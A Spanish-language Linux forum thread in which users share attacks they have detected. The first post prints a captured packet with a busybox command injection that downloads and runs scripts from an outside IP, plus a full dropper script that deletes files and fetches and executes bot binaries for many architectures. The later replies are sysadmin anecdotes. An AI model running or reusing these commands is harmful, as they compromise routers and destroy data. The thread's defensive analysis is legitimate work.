Linux Recibiendo/Detectando ataques [todos pueden aportar]

Miguelwill · 13 Enero 2016

se me ocurre que aqui podriamos ir comentando ataques que son detectados , detenidos, contenidos , o incluso, sufrido completamente
la idea es ir informandonos sobre que vulnerabilidades podemos esperar que nos escaneen, y ver que es lo que FUE que intentaron hacer :xd

hace unos minutos (si, fue recien :risas

) de copuchento me puse a escuchar el trafico de una interfaz PPPoE en un sistema linux, el cual tiene muy poco trafico , por lo que queria mirar si el proveedor generaba algun tipo de trafico basura (paquetes rip, enrutamiento, etc ), y de pura casualidad, me pille con este paquetito :uy

Código:

15:32:47.416321 IP (tos 0x0, ttl 237, id 54321, offset 0, flags [none], proto UDP (17), length 242)
185.130.5.224.51129 > 111.111.111.111.53413: [no cksum] UDP, length 214
................E....1............R.........AA..AAAA cd /tmp;busybox tftp -g -r m.sh 185.130.5.201||tftp -g -r m.sh 185.130.5.201;busybox chmod +x m.sh||chmod +x m.sh; sh m.sh; rm m.sh; busybox wget http://185.130.5.201/lel.sh; chmod +x lel.sh; sh lel.sh; .

=======================================================================

15:32:47.416382 IP (tos 0xc0, ttl 64, id 921, offset 0, flags [none], proto ICMP (1), length 270)
111.111.111.111 > 185.130.5.224: ICMP 201.246.82.135 udp port 53413 unreachable, length 250
IP (tos 0x0, ttl 237, id 54321, offset 0, flags [none], proto UDP (17), length 242)
185.130.5.224.51129 > 111.111.111.111.53413: [no cksum] UDP, length 214
................E.......@.....R.............E....1............R.........AA..AAAA cd /tmp;busybox tftp -g -r m.sh 185.130.5.201||tftp -g -r m.sh 185.130.5.201;busybox chmod +x m.sh||chmod +x m.sh; sh m.sh; rm m.sh; busybox wget http://185.130.5.201/lel.sh; chmod +x lel.sh; sh lel.sh; .

es interesante lo que se puede aprender al ver un escaneo en progreso, y despues ver que es lo que tratan de ejecutar.

diseccionando un poco los datos, vemos que enviaron, sin mediar conexion o escaneo previo, un paquete UDP, el cual contiene una serie de instrucciones, entre otras cosas, tratando de levantar un interprete de ordenes (busybox) y despues, descargar un script, el cual convenientemente, le asigna permisos de ejecucion para terminar ejecutandolo

e descargado el archivo lel.sh y tiene el siguiente contenido

Código:

#!/bin/sh
ulimit -u 512
ulimit -n 512
rm -f *
rm -f /tmp/*
rm -f /root/*
rm -f /usr/bin/strings
rm -f /usr/bin/ps
busybox rm -f *
busybox rm -f /tmp/*
busybox rm -f /root/*
busybox rm -f /usr/bin/strings
busybox rm -f /usr/bin/ps
cd /tmp;
busybox wget http://185.130.5.201/mipsel ; cp /bin/busybox ./; cat mipsel > busybox; rm mipsel; cp busybox mipsel; rm busybox; ./mipsel
busybox wget http://185.130.5.201/mips ; cp /bin/busybox ./; cat mips > busybox; rm mips; cp busybox mips; rm busybox; ./mips
busybox wget http://185.130.5.201/i686 ; cp /bin/busybox ./; cat i686 > busybox; rm i686; cp busybox i686; rm busybox; ./i686
busybox wget http://185.130.5.201/i586 ; cp /bin/busybox ./; cat i586 > busybox; rm i586; cp busybox i586; rm busybox; ./i586
busybox wget http://185.130.5.201/powerpc ; cp /bin/busybox ./; cat powerpc > busybox; rm powerpc; cp busybox powerpc; rm busybox; ./powerpc
busybox wget http://185.130.5.201/sh4 ; cp /bin/busybox ./; cat sh4 > busybox; rm sh4; cp busybox sh4; rm busybox; ./sh4
busybox wget http://185.130.5.201/x86 ; cp /bin/busybox ./; cat x86 > busybox; rm x86; cp busybox x86; rm busybox; ./x86
busybox wget http://185.130.5.201/armv6 ; cp /bin/busybox ./; cat armv6 > busybox; rm armv6; cp busybox armv6; rm busybox; ./armv6
exit

esta demas ver que descargara archivos binarios de cada plataforma posible de encontrar, pero no sin antes ponerse a limpiar carpetas y borrar algunos archivos utiles en caso de revision del sistema

busando algo de info sobre el ataque al puerto destino de la conexion, encontre lo siguiente:

http://www.securityweek.com/easily-exploitable-vulnerability-found-netis-routers

lo cual pareciera ser una vulnerabilidad en algunos sistemas entregados a clientes de ISP en asia

demás esta decir que idealmente hay que mantener el firewall activo si se va a tener acceso desde internet, y solo dejar los puertos en USO abiertos en las conexiones entrantes.

ojala alguien mas pueda poner algún tipo de ataque o escaneo que pueda ser de alguna forma didáctico para alguien mas

saludos

Harima · 13 Enero 2016

Nada que ver con el tema pero me acorde de una anecdota en la pega

Me acuerdo que cuando empecé en el puesto que tengo ahora (SysAdmin), nos encontramos con un correo que nos mandó una empresa, que por favor le dejáramos de enviar Spam, no teníamos idea de donde podíamos estar enviando ya que todos los entornos estaban separados y con sus respectivos firewalls y toda la challa del mundo (en ese tiempo igual eran sistemas a medio configurar no más, el tipo que estaba antes no era muy clever)

La cosa es que nos adjuntaron uno de los correos que supuestamente enviábamos, era como una tienda de coches de bebes o algo así, para un sistema nuestro había una wiki que habían levantado en una máquina virtual en el ambiente de QA, el cual estaba en un datacenter en el centro, tras un firewall y la maquina era un Ubuntu, de esos que vienen preconfigurados (no recuerdo el nombre cuando me acuerde lo pongo), el tema es que como al tipo no se le ocurrió cambiar las password de root Linux, ni la root de mysql, insertaron paginas como para que pareciera "legal" el correo, pero el correo salía de otro lado, al final , saque de un respaldo la info solamente y cree una maquina desde cero con la wiki que necesitaban.

les explicamos después a los tipos que la IP donde se enviaban los correos no eran nuestras, perso si la página, pero que habíamos sido víctimas de ataque y que ya no sucedería otra vez.

Después de eso adoptamos contraseñas seguras con certificados SSL y los puertos nunca por el estándar, y solo habilitar algunos puertos para internet y los de admin y otra challa solo de la IP de la pega.

Mesuscribo porque quiero aprender mas del tema.

Miguelwill · 13 Enero 2016

Harima dijo:
Nada que ver con el tema pero me acorde de una anecdota en la pega

Me acuerdo que cuando empecé en el puesto que tengo ahora (SysAdmin), nos encontramos con un correo que nos mandó una empresa, que por favor le dejáramos de enviar Spam, no teníamos idea de donde podíamos estar enviando ya que todos los entornos estaban separados y con sus respectivos firewalls y toda la challa del mundo (en ese tiempo igual eran sistemas a medio configurar no más, el tipo que estaba antes no era muy clever)

La cosa es que nos adjuntaron uno de los correos que supuestamente enviábamos, era como una tienda de coches de bebes o algo así, para un sistema nuestro había una wiki que habían levantado en una máquina virtual en el ambiente de QA, el cual estaba en un datacenter en el centro, tras un firewall y la maquina era un Ubuntu, de esos que vienen preconfigurados (no recuerdo el nombre cuando me acuerde lo pongo), el tema es que como al tipo no se le ocurrió cambiar las password de root Linux, ni la root de mysql, insertaron paginas como para que pareciera "legal" el correo, pero el correo salía de otro lado, al final , saque de un respaldo la info solamente y cree una maquina desde cero con la wiki que necesitaban.

les explicamos después a los tipos que la IP donde se enviaban los correos no eran nuestras, perso si la página, pero que habíamos sido víctimas de ataque y que ya no sucedería otra vez.

Después de eso adoptamos contraseñas seguras con certificados SSL y los puertos nunca por el estándar, y solo habilitar algunos puertos para internet y los de admin y otra challa solo de la IP de la pega.

Mesuscribo porque quiero aprender mas del tema.

Bueno, siempre tendrá algo que ver, ya que fueron víctimas de la negligencia de dejar datos de acceso por defecto para equipos con acceso público

En mi caso hacemos algo similar, sólo que los accesos los dejamos cerrados a menos que se pida lo contrario (clientes con equipos en arriendo ), y ahí se filtra por servicio o por origen

Enviado desde mi XT1058 mediante Tapatalk

K3rnelpanic · 14 Enero 2016

La otra vez, en una reconocida empresa dedicada al arriendo y venta de Servicios de renta variable e inversión electrónica :zippy

Se cayó el sitio web y todas las plataformas que se acceden vía web. Se pensó en un ataque ddos, que se haya envenenado el tráfico, que hayan secuestrado una máquina dentro de la dmz y la estuviesen usando para botar los servicios.
Pero no, fue causado por un cable de red defectuoso que botó el etherchannel configurado en el core.

Enviado desde mi MotoE2 mediante Tapatalk

Miguelwill · 14 Enero 2016

Una vez en un sitio, al parecer por una vulnerabilidad en el sitio web (viejo como el sólo ), le cargaron un script que hacia un DDoS a ip's externas
Lo peor es que el tráfico origen lo spoofeaba con una ip remota :sconf

Webeamos como 2 hrs para cachar quien estaba saturando la conexión :risas

Lo pillamos en los gráficos de tráfico de los switchs

Enviado desde mi XT1058 mediante Tapatalk

Linux Recibiendo/Detectando ataques [todos pueden aportar]

Miguelwill

I am online

Harima

Pegao al tarro

Miguelwill

I am online

K3rnelpanic

non serviam

Miguelwill

I am online